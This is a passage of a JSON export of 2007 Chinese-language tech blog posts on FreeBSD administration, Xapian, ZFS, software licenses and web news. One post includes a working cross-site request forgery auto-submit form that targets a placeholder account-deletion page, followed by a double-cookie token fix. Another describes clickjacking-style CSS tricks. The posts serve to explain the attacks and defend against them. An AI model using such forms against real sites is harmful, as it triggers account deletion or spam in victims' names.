    "body": "在 <a href=\"http://robbin.cc/archives/2007_08_04/636\" rel=\"tag\">Robbin</a> 的 Blog 上看到這篇：<a href=\"http://robbin.cc/archives/2007_08_04/636\">[WP]讓訪客在留言中貼圖的方式</a>，這是應該要避免的情況，分成幾個方向。\r\n<ul>\r\n\t<li>有心的人可以利用 img 統計流量。</li>\r\n\t<li>另外一個理由比較薄弱：利用 img 送出某些 GET request，在某些網站本身設計有問題的情況下而可以刪除文章之類的。雖然這個問題不是 Comment 貼圖，而是其他網站設計上的問題，但一般還是會避免這類情況。</li>\r\n</ul>\r\n一時間只有想到這兩個問題，其他的想到在寫...",
    "title": "應該避免在 Comment 允許讓使用者貼圖"
  },
  {
    "id": "1263",
    "body": "在 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 與 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 裡看 <a href=\"http://blog.xuite.net/\" rel=\"tag\">Xuite</a> 的 feed 又爛了，這次應該是第三次了吧... 這分別是在 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 與 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 上看到的情況：\r\n\r\n<a href=\"http://www.zooomr.com/photos/38183@Z01/2895385/\"><img src=\"http://static.zooomr.com/images/2895385_d73c7821ca.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.zooomr.com/photos/38183@Z01/2895462/\"><img src=\"http://static.zooomr.com/images/2895462_f96d010c18.jpg\" alt=\"\" /></a>\r\n\r\n看了 <a href=\"http://blog.xuite.net/\" rel=\"tag\">Xuite</a> 的 Atom，看到：\r\n<pre>&lt;content type=\"text/html\"  mode=\"escaped\"&gt;\r\n&lt;![CDATA[&amp;lt;p&amp;gt;&amp;lt; (... 中間實在太多，省略...) ]]&gt;\r\n&lt;/content&gt;</pre>\r\nAtom 1.0 格式裡沒有 <code>mode=\"escaped\"</code> 的用法，往上翻發現是 Atom 0.3，查了 Atom 0.3 的規格書的確是有 <code>mode=\"escaped\"</code> 的用法，但是既然都 escape 了，不需要再用 CDATA 包裝啊 @_@ (至少我把 Atom 抓下來後把 CDATA 去掉，在 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 上看就正常了...)\r\n\r\n有誰可以轉告 <a href=\"http://blog.xuite.net/\" rel=\"tag\">Xuite</a> 的人嗎？就算不打算實做 Atom 1.0，也把 &lt;head&gt;&lt;/head&gt; 裡預設的 feed 設到 RSS 2.0 吧？至少 RSS 2.0 的 feed 是正常的...",
    "title": "Xuite 的 feed..."
  },
  {
    "id": "1264",
    "body": "這篇是延續 <a href=\"http://blog.gslin.org/archives/2007/06/15/1202/\">幫 Pixnet 做 Fulltext Search</a> 這篇所寫的，這項功能 <a href=\"http://www.pixnet.net/\" rel=\"tag\">Pixnet</a> 已經放出來了：<a href=\"http://blog.pixnet.net/admin/post/6861138\" rel=\"tag\">[公告] 新增網誌搜尋(Beta)</a>。\r\n\r\n最後收尾的階段有一些地雷要注意：\r\n<ul>\r\n\t<li><a href=\"http://www.xapian.org/\" rel=\"tag\">Xapian</a> 對大的 Database 更新會很慢。一開始我是對單一 Database 更新，結果更新的速度跟不上條目修改的速度 XD</li>\r\n\t<li>所以，我跟 <a href=\"http://blog.pixnet.net/far\" rel=\"tag\">far</a> 稍微提過以後，決定用空間換取時間，以 ArticleID 拆開，一萬為一個單位把 <a href=\"http://www.xapian.org/\" rel=\"tag\">Xapian</a> Database 切成 n 個 DB 放在 <a href=\"http://www.netapp.com/\" rel=\"tag\">NetApp</a> 上，更新時是對這些小資料庫更新，最後再跑 xapian-compact 合併。這樣就跟的上速度了：三十萬篇大約需要兩個小時的更新 + 六個小時的合併。</li>\r\n\t<li>有一天心情不好 (原因就不提了)，決定把 xapian-compact 的 <code>-m</code> 拿掉 (multipass，官方建議當你有許多 DB 要合併時，使用這個參數「通常」會比較快)，結果莫名其妙把合併的時間省到 40mins... (當場就把「靠腰」罵出來了)</li>\r\n</ul>\r\n最後，把本來是用 standalone 的版本換成 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a> + <a href=\"http://www.fastcgi.com/\" rel=\"tag\">FastCGI</a> 版，理論上就不會出現因為後端搜尋伺服器沒跑起來，而使得前端出現 0 result 的情況了... (汗)\r\n\r\nPS：因為當初做的時候有得到 <a href=\"http://blog.pixnet.net/far\" rel=\"tag\">far</a> 的同意，所以等到我閒一點之後，我會用 BSD license 放出來...",
    "title": "Xapian 的幾個細節"
  },
  {
    "id": "1265",
    "body": "把 <a href=\"http://mail.google.com/\" rel=\"tag\">Gmail</a> 用到爆炸的愛用者們，有好消息了：<a href=\"http://blogoscoped.com/archive/2007-08-09-n43.html\" rel=\"tag\">Gmail With 9030 MB?</a>、<a href=\"http://blogoscoped.com/archive/2007-08-10-n90.html\">Google Shared Storage Program Released</a>。\r\n\r\n你可以花 $20/year 購買 6GB 的空間，或是 $75/year (25GB)、$250/year (100GB)、$500/year (250GB)，也許等到我的 <a href=\"http://mail.google.com/\" rel=\"tag\">Gmail</a> 快用滿的時候也會買吧 XD\r\n\r\n<strong>Update</strong>：在 <a href=\"http://googleblog.blogspot.com/2007/08/simple-way-to-get-more-storage.html\">A simple way to get more storage</a> 這篇提到了這項服務，不過怎麼沒連結 @_@",
    "title": "Google Shared Storage Program"
  },
  {
    "id": "1266",
    "body": "<strong>Update</strong>：有人翻譯出來了，<a href=\"http://www.refly.net/blog/2007/08/12/seo-speak-translated/\">SEO專業術語剖析：你真的看得懂SEO術語嗎？</a>。\r\n\r\n對於搞 SEO (Search Engine Optimization，搜尋引擎最佳化) 業者的謊言，在這邊看到一張表格，將這些謊言對應到事實，寫的超棒啊 XD：<a href=\"http://blogoscoped.com/archive/2007-08-10-n75.html\">SEO Speak Translated: The Real SEO Glossary</a>。\r\n\r\n也許應該找個時間翻出來...",
    "title": "SEO (Search Engine Optimization) 業者的謊言"
  },
  {
    "id": "1267",
    "body": "這陣子在幹壞事的時候才發現國內一些站台都沒有處理好... XD (我絕對沒有說是哪些站喔，自己裝 <a href=\"https://addons.mozilla.org/firefox/addon/60\" rel=\"tag\">Web Developer</a> 用他的 View Form Information 看吧 XD)\r\n\r\n直接以程式碼舉例。我在我自己的站上放一個 html，裡面有一個 form 與一段 javascript，會自動 submit 出去：\r\n<pre><code>\r\n&lt;form\r\n action=\"http://dingding.example.org/delete-my-account.php\"\r\n id=\"myform\" method=\"post\" name=\"myform\"&gt;\r\n    &lt;input ... /&gt; (某些需要的欄位)\r\n&lt;/form&gt;\r\n\r\n&lt;script&gt;\r\nvar f = document.getElementById(\"myform\");\r\nf.submit();\r\n&lt;/script&gt;\r\n</code></pre>\r\n如果網站沒有正確處理，就可以讓別人幫你砍帳號，或是發文章 (Spam 的好方法？)，或是其他事情。這是因為瀏覽器連到 <code>dingding.example.org</code> 的時候會帶 cookie 進去。\r\n\r\n解法也很簡單，用類似 Double Cookie 的方式解決。以 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a> 為例，產生 form 的時候多送一個 hidden input：\r\n<pre><code>\r\n&lt;input type=\"hidden\" name=\"doublecookie\"\r\n value=\"&lt;?= md5(session_id()) ?&gt;\" &gt;\r\n</code></pre>\r\n然後在接收 form 的程式碼裡面判斷：\r\n<pre><code>\r\nif (!isset($_POST[\"doublecookie\"]) ||\r\n    $_POST[\"doublecookie\"] != md5(session_id())) {\r\n    // not match, break it\r\n}\r\n</code></pre>\r\n你可以看到 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 的 <a href=\"http://www.blogger.com/\" rel=\"tag\">Blogger</a> 就是用類似的方法做的。在 <code>securityToken</code> (被我劃掉的地方) 的地方：(點小圖看 1024x1024 的大圖，不過我為了塞到一頁裡面，字縮小了兩次...)\r\n\r\n<a href=\"http://www.zooomr.com/z/photos/zoom/2913272/size-16/\" rel=\"tag\"><img src=\"http://static.zooomr.com/images/2913272_802ff12485.jpg\" alt=\"\" /></a>",
    "title": "Form 的安全性問題"
  },
  {
    "id": "1268",
    "body": "在 <a href=\"http://leuksman.com/log/2007/08/14/rsync-30-rocks/\">rsync 3.0 rocks!</a> 這篇看到 <a href=\"http://rsync.samba.org/\" rel=\"tag\">rsync</a> 在 3.0 的重大改變：<a href=\"http://www.mail-archive.com/rsync@lists.samba.org/msg17767.html\" rel=\"tag\">Incremental recursion</a>。\r\n\r\n目前的 <a href=\"http://rsync.samba.org/\" rel=\"tag\">rsync</a> 2.x 都是先掃完檔案後才開始傳輸，對於只有幾千個檔案當然沒問題，但像是大型站台除了用 <a href=\"http://www.netapp.com/\" rel=\"tag\">NetApp</a> 外，還是會另外找空間備份，這時候的檔案就不只是幾千萬個，通常在掃描的過程就會先出現 \"out of memory\" 的訊息...\r\n\r\n<a href=\"http://rsync.samba.org/\" rel=\"tag\">rsync</a> 3.0 將會先掃一小部份、傳一部分，再掃一部分、傳一部分，減少記憶體的使用量，另外也會些微增加讀取的效率。(剛掃過的目錄會有 cache？)\r\n\r\n繼續期待 <a href=\"http://rsync.samba.org/\" rel=\"tag\">rsync</a> 3.0 :p",
    "title": "Rsync 3.0 將會有的改善"
  },
  {
    "id": "1269",
    "body": "以前都是裝 <a href=\"http://www.freshports.org/ftp/bsdftpd-ssl/\" rel=\"tag\">ftp/bsdftpd-ssl</a>，結果在 6.2 與 7.0 上 compile 時都會有錯誤訊息，也看不出什麼好解法，試了 <a href=\"http://www.freshports.org/ftp/ftpd-tls/\" rel=\"tag\">ftpd-tls</a> 好像沒什麼問題就決定用他了，但是又卡在忘記怎麼產生 key... 所以寫一篇紀錄下來 XD (這樣的好處是用 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 找會找到自己的文章... XD)\r\n\r\n到 <code>/etc/ssl</code> 下產生 key 及 crt：\r\n<blockquote><code># openssl genrsa -out server.key (umask 077 好像沒用，那只好在生完後趕快 chmod 400)\r\n# openssl req -new -key server.key -x509 -days 3650 -out server.crt</code></blockquote>\r\n做完以後裝 <a href=\"http://www.freshports.org/ftp/ftpd-tls/\" rel=\"tag\">ftp/ftpd-tls</a>：\r\n<blockquote><code># cd /usr/ports/ftp/ftpd-tls\r\n# make install clean</code></blockquote>\r\n裝完後到 <code>/etc/inetd.conf</code> 裡加上對應的欄位，最重要的是後面的：\r\n<blockquote><code>ftpd-ssl -4lU -z rsacert=/etc/ssl/server.crt -z rsakey=/etc/ssl/server.key</code></blockquote>\r\n對於只是要有個安全的連線來說算是夠用了。\r\n\r\n最後，先把 SHA1 Fingerprint 抓出來：\r\n<blockquote><code># openssl x509 -noout -in server.crt -fingerprint -sha1</code></blockquote>\r\n輸出會像這樣：\r\n<blockquote><code>SHA1 Fingerprint=DF:E4:3A:7F:79:1D:5D:B9:A8:7E:D2:DD:BD:7A:88:E0:6C:29:15:62</code></blockquote>\r\n然後 <a href=\"http://filezilla.sourceforge.net/\" rel=\"tag\">Filezilla</a> 連上時會有 SHA1 Fingerprint 資訊可以對照：\r\n\r\n<a href=\"http://www.zooomr.com/photos/38183@Z01/2961287/\"><img src=\"http://static.zooomr.com/images/2961287_72ecb8e234.jpg\" alt=\"\" /></a>",
    "title": "在 FreeBSD 上支援 SSL 的 ftpd"
  },
  {
    "id": "1270",
    "body": "不知道從什麼時候開始連不上 <a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a>，剛剛在 <a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a> 官方的 Blog 上看到說明了：<a href=\"http://heartbeat.skype.com/2007/08/problems_with_skype_login.html\" rel=\"tag\">Problems with Skype login</a>。\r\n\r\n依照官方的 Blog，這次大約會掛 12 ~ 24 小時...",
    "title": "Skype 連線問題"
  },
  {
    "id": "1271",
    "body": "最近有一台有十二顆硬碟的機器要上，想說來測試 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 7.0 上的 <a href=\"http://en.wikipedia.org/wiki/ZFS\" rel=\"tag\">ZFS</a>，結果發現 <a href=\"http://en.wikipedia.org/wiki/ZFS\" rel=\"tag\">ZFS</a> 解決的問題有限... 不過對於軟體解決方案來說，是一個很大的進步 :p\r\n\r\n<a href=\"http://en.wikipedia.org/wiki/ZFS\" rel=\"tag\">ZFS</a> 提供的 RAIDZ 有三種保護方式，第一種是 MIRROR，類似 RAID1 的方式，相同的資料會丟到兩顆上；第二種是 RAIDZ1，與 RAID5 類似的方式 (XOR)，擁有一顆硬碟故障的容錯能力；最後則是 RAIDZ2，與 RAID6 類似的方式 (<a href=\"http://en.wikipedia.org/wiki/Reed%E2%80%93Solomon_error_correction\" rel=\"tag\">Reed-Solomon</a>)，擁有兩顆硬碟故障的容錯能力。這些都因為理論限制而沒有辦法新增硬碟。其中 RAIDZ2 (RAID6) 是目前 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 的 gvinum 還沒有提供的功能，這是 <a href=\"http://en.wikipedia.org/wiki/ZFS\" rel=\"tag\">ZFS</a> 所帶來的第一個進展。\r\n\r\nZFS 所提供的「擴充性」是以相同的 virtual device 為單位，假設以三顆硬碟完成 RAIDZ1 成為一個 virtual device 後，你可以塞進一個 pool 裡面，而且是不斷的塞：\r\n<blockquote><code># zpool create raidz1 mypool ad4 ad6 ad8\r\n# zpool add raidz1 mypool ad10 ad12 ad14</code></blockquote>\r\n當你用 zpool create raidz1 建立 pool 後，就決定了你後面 zpool add 一定要用「raidz1」、「三顆硬碟」當作增加的單位 (大小倒是沒差)，不然會出現：\r\n<blockquote><code>mismatched replication level: pool uses 3-way raidz and new vdev uses 4-way raidz</code></blockquote>\r\n或是：\r\n<blockquote><code>mismatched replication level: pool uses 1 device parity and new vdev uses 2</code></blockquote>\r\n看起來很像 concat，但比起傳統的 concat，新增的 pool 可以馬上分擔寫入的負荷。而且對於要大不大的企業用戶來說，每次固定增加四顆或八顆硬碟 (一張 SATA 外接卡可接的量) 比起資料搬移的停機容易接受。\r\n\r\n再更大的話也許還是用 <a href=\"http://www.netapp.com/\" rel=\"tag\">NetApp</a> 之類的方案吧 :p",
    "title": "ZFS"
  },
  {
    "id": "1272",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 看到有廠商想到其他方式來管理數位版權的問題：<a href=\"http://slashdot.org/it/07/08/17/0156204.shtml\">Watermarking to Replace DRM?</a>，原文在 <a href=\"http://news.com.com/\" rel=\"tag\">CNET</a> 的網站：<a href=\"http://news.com.com/8301-10784_3-9761049-7.html\">Watermarking to replace DRM?</a>。\r\n\r\nDRM 希望做到的是「事前防範」複製的行為，但這是從理論基礎上就已經知道不可行。而浮水印做到的是「事後追查」的能力，在理論基礎上「可行」，但以目前的技術來說... 有陣子沒碰這塊資訊了，不清楚。看起來微軟是打算跟業者合作提供服務，對每個不同的使用者將音樂加浮水印後送出去，而不公開浮水印本身的演算法。",
    "title": "使用浮水印取代 DRM"
  },
  {
    "id": "1273",
    "body": "<a href=\"http://www.sourcefire.com/\" rel=\"tag\">Sourcefire</a> 買下 <a href=\"http://www.clamav.net/\" rel=\"tag\">ClamAV</a>：<a href=\"http://www.securityfocus.com/brief/571\">Sourcefire acquires ClamAV</a>，在雙方的官方網站上都公佈了。\r\n\r\n<a href=\"http://www.clamav.net/\" rel=\"tag\">ClamAV</a> 蠻好用的，有很多人 (以及公司) 利用 <a href=\"http://www.clamav.net/\" rel=\"tag\">ClamAV</a> 的 engine 寫了不少軟體 (像是 <a href=\"http://www.clamwin.com/\" rel=\"tag\">ClamWin</a>)，如果依照 <a href=\"http://www.snort.org/\" rel=\"tag\">Snort</a> 的模式 (<a href=\"http://www.snort.org/\" rel=\"tag\">Snort</a> 目前是 <a href=\"http://www.sourcefire.com/\" rel=\"tag\">Sourcefire</a> 的 Open Source 產品之一) 就沒什麼問題。",
    "title": "Sourcefire 買下 ClamAV"
  },
  {
    "id": "1274",
    "body": "剛剛把 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 與 <a href=\"http://getk2.com/\" rel=\"tag\">K2</a> 一起升級，發現 <a href=\"http://getk2.com/\" rel=\"tag\">K2</a> 終於支援 trunk 版本的 db query 了，於是 category 終於回來了 XD\r\n\r\n本來卡在 Category 顯示不出來而不想升級的人，現在可以升級了 :p",
    "title": "久違的 Category 回來了..."
  },
  {
    "id": "1275",
    "body": "自從 bsnmpd 進 base 後，在 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 上要做流量統計所需要做的事情愈來愈簡單了。\r\n\r\n首先是修改 <code>/etc/rc.conf</code>，開機時會自動跑 bsnmpd：\r\n<blockquote><code>bsnmpd_enable=\"YES\"</code></blockquote>\r\n第一次啟動時可以手動跑：\r\n<blockquote><code># /etc/rc.d/bsnmpd start</code></blockquote>\r\n然後裝 <a href=\"http://www.freshports.org/net-mgmt/mrtg/\" rel=\"tag\">net-mgmt/mrtg</a>：\r\n<blockquote><code># cd /usr/ports/net-mgmt/mrtg\r\n# make install clean</code></blockquote>\r\n裝完後跑 <code>cfgmaker</code> 產生檔案：\r\n<blockquote><code># cfgmaker public@127.0.0.1 &gt; mrtg.cfg</code></blockquote>\r\n然後修改 <code>mrtg.cfg</code> 內的 WorkDir，最後產生 index.html：\r\n<blockquote><code># indexmaker mrtg.cfg &gt; index.html</code></blockquote>\r\n然後將 mrtg 指令放到 crontab 裡跑就可以了。",
    "title": "FreeBSD 上的 SNMP"
  },
  {
    "id": "1276",
    "body": "這陣子因為 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 決定將 <a href=\"http://www.microsoft.com/resources/sharedsource/licensingbasics/permissivelicense.mspx\" rel=\"tag\">Microsoft Permissive License</a> 送交 <a href=\"http://www.opensource.org/\" rel=\"tag\">Open Source Initiative</a> 審查而又引起風波。(<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 這篇：<a href=\"http://slashdot.org/yro/07/08/18/1636213.shtml\">Microsoft's New Permissive License Meets Opposition</a>)\r\n\r\n<a href=\"http://www.microsoft.com/resources/sharedsource/licensingbasics/permissivelicense.mspx\" rel=\"tag\">Microsoft Permissive License</a> 相當開放而且自由，同時條款又相當的簡單。這個 license 要做的事情差不多就是 BSD license + 專利授權條款，也就是這段所提到的：\r\n<blockquote>(B) Patent Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free license under its licensed patents to make, have made, use, sell, offer for sale, import, and/or otherwise dispose of its contribution in the software or derivative works of the contribution in the software.</blockquote>\r\n相較於 <a href=\"http://gplv3.fsf.org/\" rel=\"tag\">GPL 3.0</a> 自以為自由的條款來說，這份授權條款對我比較有吸引力。",
    "title": "Microsoft Permissive License"
  },
  {
    "id": "1277",
    "body": "前陣子才從<a href=\"http://blog.ijliao.info/\" rel=\"tag\">蔡依林姊姊</a>那邊看到 <a href=\"http://blog.ijliao.info/archives/2007/08/10/3236/\" rel=\"tag\">Remove It Permanently</a> (不過我沒有用，因為要自己設定太麻煩了)，結果這幾天就發現 <a href=\"https://addons.mozilla.org/en-US/firefox/addon/1865\" rel=\"tag\">Adblock Plus</a> 可以擋頁面元素，而且 <a href=\"http://easylist.adblockplus.org/\" rel=\"tag\">EasyList</a> (某個可以訂閱的 Adblock Plus 清單) 這陣子也開始用這個方式列清單了...\r\n\r\n這是 <a href=\"http://tw.yahoo.com/\" rel=\"tag\">Y! TW</a> 的首頁，被清的乾乾淨淨的，看起來真愉快啊 XD：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/1172930319/\"><img src=\"http://farm2.static.flickr.com/1385/1172930319_7fbd43455a.jpg\" alt=\"\" /></a>\r\n\r\n這是某大站：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/1172994243/\"><img src=\"http://farm2.static.flickr.com/1015/1172994243_ff179ef9c1.jpg\" alt=\"\" /></a>",
    "title": "Adblock Plus 擋頁面元素"
  },
  {
    "id": "1278",
    "body": "<strong>Update</strong>：更完整的解釋出來了：<a href=\"http://heartbeat.skype.com/2007/08/the_microsoft_connection_explained.html\">The Microsoft connection clarified</a>。\r\n\r\n前幾天的 <a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a> 大當機事件造成許多使用 <a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a> 的用戶抱怨，結果在 <a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a> 的 Blog 上說明了這次當機的原因：<a href=\"http://share.skype.com/sites/en/2007/08/what_happened_on_august_16.html\" rel=\"tag\">What happened on August 16</a>。\r\n\r\n<a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a> 使用 P2P 架構維持整個系統的穩定性。依照 <a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a> 官方的說法，因為前幾天的 <a href=\"http://windowsupdate.microsoft.com/\" rel=\"tag\">Windows Update</a> 造成許多電腦強制重新開機 (說到這個，<a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 似乎可以無視設定值強制重新開機)，而使得系統不穩定。在理想的情況下，<a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a> 應該會迅速自我復原，但因為 <a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a> 演算法的臭蟲，造成系統幾乎停擺兩天。\r\n\r\n至於信不信，就看個人了... (以前 <a href=\"http://windowsupdate.microsoft.com/\" rel=\"tag\">Windows Update</a> 也強制重開過很多次)",
    "title": "Skype 當掉的原因：Windows Update"
  },
  {
    "id": "1279",
    "body": "在 <a href=\"http://developer.yahoo.com/yui/\" rel=\"tag\">YUI</a> Blog 上看到用 <a href=\"http://developer.yahoo.com/yui/\" rel=\"tag\">YUI</a> 做出 Web 版的接龍：<a href=\"http://yuiblog.com/blog/2007/08/20/schultz-solitaire/\" rel=\"tag\">Implementation Focus: World of Solitaire by Robert Schultz</a>，遊戲的站台在這：<a href=\"http://worldofsolitaire.com/\" rel=\"tag\">World of Solitaire</a>。\r\n\r\n拿來打發時間相當棒 :p",
    "title": "用 YUI 的 Web 版接龍"
  },
  {
    "id": "1280",
    "body": "<a href=\"http://ejohn.org/\" rel=\"tag\">John Resig</a> (<a href=\"http://jquery.com/\" rel=\"tag\">jQuery</a> 的發起人以及現任的主要維護者) 在 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 談如何建立一個 JavaScript Library：<a href=\"http://ejohn.org/blog/building-a-javascript-library/\">Building a JavaScript Library</a>，包含影片及投影片。\r\n\r\n其實都是在講 <a href=\"http://jquery.com/\" rel=\"tag\">jQuery</a> 的作法，不過對於已經在使用 <a href=\"http://jquery.com/\" rel=\"tag\">jQuery</a>，或是打算要使用 <a href=\"http://jquery.com/\" rel=\"tag\">jQuery</a> 的人相當值得看完，對於之後使用 <a href=\"http://jquery.com/\" rel=\"tag\">jQuery</a> 有相當棒的幫助。\r\n\r\nPS：另外一個很好用的 reference site 是 <a href=\"http://visualjquery.com/\" rel=\"tag\">Visual jQuery</a>。",
    "title": "John Resig 在 Google 談 JavaScript Library (jQuery)"
  },
  {
    "id": "1281",
    "body": "在<a href=\"http://blog.ijliao.info/\" rel=\"tag\">依林姊姊</a>的 <a href=\"http://del.icio.us/\" rel=\"tag\">del.icio.us</a> 上看到這個用 JavaScript 做出來的介面，拿來畫 SQL 關係圖還不錯：<a href=\"http://ondras.zarovi.cz/sql/\" rel=\"tag\">WWW SQL Designer</a>。\r\n\r\n要注意的是他產生出來的 SQL 指令並沒有把 FK 放進去 (至少 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 與 <a href=\"http://www.postgresql.org/\" rel=\"tag\">PostgreSQL</a> 都是)，所以畫完後要自己轉成 SQL CREATE TABLE 的指令。雖然如此，但對於拿來釐清一些複雜的架構還不錯...\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/1202429433/\"><img src=\"http://farm2.static.flickr.com/1001/1202429433_111010effb.jpg\" alt=\"\" /></a>",
    "title": "WWW SQL Designer"
  },
  {
    "id": "1282",
    "body": "<a href=\"http://gizmodo.com/\" rel=\"tag\">Gizmodo</a> 這篇 <a href=\"http://gizmodo.com/gadgets/back-to-nature/keyboard-with-plants-growing-inside-is-more-gross-than-cool-292347.php\">Keyboard with Plants Growing Inside is More Gross Than Cool</a> 的鍵盤看起來好棒，綠意盎然啊 XD\r\n\r\n(圖片就不 link 了，自己連過去看吧)",
    "title": "長豆芽的鍵盤"
  },
  {
    "id": "1283",
    "body": "<a href=\"http://www.thespanner.co.uk/2007/08/24/css-attacks/\" rel=\"tag\">CSS attacks!</a> 這篇講到的兩個誘導使用者進行不安全操作的方法：\r\n<ul>\r\n\t<li>CSS overlays：利用 iframe + CSS，只顯示部份的內容，讓使用者去誤擊某些不安全的操作。</li>\r\n\t<li>Submit buttons：把 submit button 的 border 拿掉，字體改一改，讓他看起來很像普通的 link。</li>\r\n</ul>\r\n前面那個可以用 js + Referer 解決大部分的問題 (對於有防火牆把 Referer 擋掉，而且沒有 js ability 的用戶，暫時想不到解法...)，後面可以用 Double Cookie 解決。\r\n\r\n來找看看 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 有沒有 Plugins 可以加強這些安全上的問題...",
    "title": "CSS 攻擊法"
  },
  {
    "id": "1285",
    "body": "<a href=\"http://jquery.com/\" rel=\"tag\">jQuery</a> 1.1 的最後一個版本：<a href=\"http://jquery.com/blog/2007/08/24/jquery-114-faster-more-tests-ready-for-12/\" rel=\"tag\">jQuery 1.1.4: Faster, More Tests, Ready for 1.2</a>。\r\n\r\n這個版本速度比 1.1.3.1 更快，看起來是對幾個最簡單、最常用的 Selector 特殊處理，像是 <code>$(\"#id\")</code> 的改善就很明顯，在所有的瀏覽器裡都快了許多。另外多了一些新的功能，像是 <code>.slice()</code>... (這功能好！)\r\n\r\n大小的部份，可以看到 <a href=\"http://jquery.com/\" rel=\"tag\">jQuery</a> 慢慢變大了。1.1.2 是 21235 bytes，1.1.3 是 21472 bytes，1.1.3.1 是 21557 bytes，1.1.4 是 22679 bytes，這次長了 1KB。\r\n\r\n1.1.3.1 到 1.1.4 中間的新功能與 bug fix 在 <a href=\"http://dev.jquery.com/report/16\" rel=\"tag\">jQuery 1.1.4 Closed Bugs</a> 可以看到，看起來不少 bug 被修正... (這代表會有更多 bug？XD)",
    "title": "jQuery 1.1.4"
  },
  {
    "id": "1286",
    "body": "<a href=\"http://www.flickr.com/photos/gslin/1226023707/\"><img src=\"http://farm2.static.flickr.com/1184/1226023707_e00e7c6ee1.jpg\" alt=\"\" /></a>\r\n\r\n買回來以後其實很快就看完了 (這本在我書單裡的優先權很高的)，一直沒有 post 出來而已 :p 照<a href=\"http://slzzp.blogspot.com/\" rel=\"tag\">肥睡睡</a>的說法是：\r\n<blockquote>01:16 &lt;@S&gt; 鹹狼第二本..... 這..... 商業詐欺 期貨破產 黑吃黑 威脅利誘 都來了... !@#$%</blockquote>\r\n我覺得這個描述實在太棒了 XDDD 總而言之，這本輕小說仍然保持著極高的水準，依然是強烈推薦大家買來看。\r\n\r\n動畫化的消息是在日文版第五本的書腰上公佈的，不過這種小說水準超高 + 內心戲超多的情況下，請不要太期待 XDDD",
    "title": "狼與辛香料 II 以及動畫化消息"
  },
  {
    "id": "1287",
    "body": "這陣子在 <a href=\"http://www.xapian.org/\" rel=\"tag\">Xapian</a> 的 mailing list 上剛好提到 PHP binding 的問題，結果引伸出來的 license 問題。查了資料以後，在 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 上有張表格：<a href=\"http://en.wikipedia.org/wiki/List_of_FSF_approved_software_licenses\">List of FSF approved software licenses</a>。\r\n\r\n簡單來說，<a href=\"http://www.php.net/license/\" rel=\"tag\">PHP license</a> 與 <a href=\"http://www.openssl.org/source/license.html\" rel=\"tag\">OpenSSL license</a> 不相容的原因都一樣：因為廣告條款的關係。\r\n\r\n<a href=\"http://www.xapian.org/\" rel=\"tag\">Xapian</a> 想要用其他方式解套 (像是有人提出用 <a href=\"http://www.swig.org/\" rel=\"tag\">SWIG</a> 過水) 都會因為 <a href=\"http://www.gnu.org/copyleft/gpl.html\" rel=\"tag\">GPL</a> 有感染性而不太容易處裡：<a href=\"http://www.swig.org/\" rel=\"tag\">SWIG</a> 軟體本身是 MIT-style 與 BSD-style license，但是他產生出來的 wrapper code 因為使用了 GPL library，所以包成 binary 時還是會受到 GPL 影響。\r\n\r\n反正這類問題滿天飛...",
    "title": "GPL 與 PHP License"
  },
  {
    "id": "1288",
    "body": "剛剛看到 Bloglines Beta：<a href=\"http://beta.bloglines.com/\" rel=\"tag\">βloglines</a>：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/1245566721/\"><img src=\"http://farm2.static.flickr.com/1221/1245566721_bab2583993.jpg\" alt=\"\" /></a>\r\n\r\n看得出來抄了很多 <a href=\"http://www.google.com/reader/\" rel=\"tag\">Google Reader</a> 的優點，但有很多小細節還是沒注意到。",
    "title": "Bloglines Beta"
  },
  {
    "id": "1289",
